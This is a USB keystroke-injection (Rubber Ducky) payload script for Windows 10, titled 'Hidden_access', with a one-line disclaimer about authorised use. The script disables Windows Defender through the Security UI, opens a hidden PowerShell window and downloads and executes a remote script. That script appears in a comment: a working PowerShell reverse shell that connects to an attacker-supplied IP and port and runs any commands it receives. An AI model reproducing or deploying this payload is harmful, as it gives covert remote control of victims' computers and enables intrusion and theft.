payload.txt

REM Author: makozort 
REM Title: Hidden_access 
REM Target: windows 10 
REM Description: gain a reverse shell to targets pc, the script works VERY qucikly agains machines with disabled defender
REM THIS SCRIPT IS INTENDED FOR USE ON SYSTEMS YOU OWN OR HAVE BEEN GIVEN PERMISSION TO USE, I TAKE NO RESPONSIBILITIES FOR ANY MISUSE
REM This is the rs.ps1 to host
REM $client = New-Object System.Net.Sockets.TCPClient("{IP here}",{PORT HERE});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
DELAY 1000
CTRL ESC
DELAY 300
REM this block disables windows defender, delete it if you dont need to. target may have varibles that mean you need to change how many times "TAB" is hit
STRING windows security
DELAY 300
ENTER
DELAY 1000
ENTER
TAB
TAB
TAB
TAB
DELAY 300
ENTER
DELAY 600
SPACE
DELAY 600
LEFT
ENTER
DELAY 300
ALT F4
GUI r
DELAY 600
REM open up powershell in hidden mode, run the command (the rs.ps1 that needs to be edited )you have already uploaded somewhere so that the ducky does not have to type it all out
STRING powershell -w hidden IEX (New-Object Net.WebClient).DownloadString('LINK HERE');
ENTER
DELAY 600
LEFT
ENTER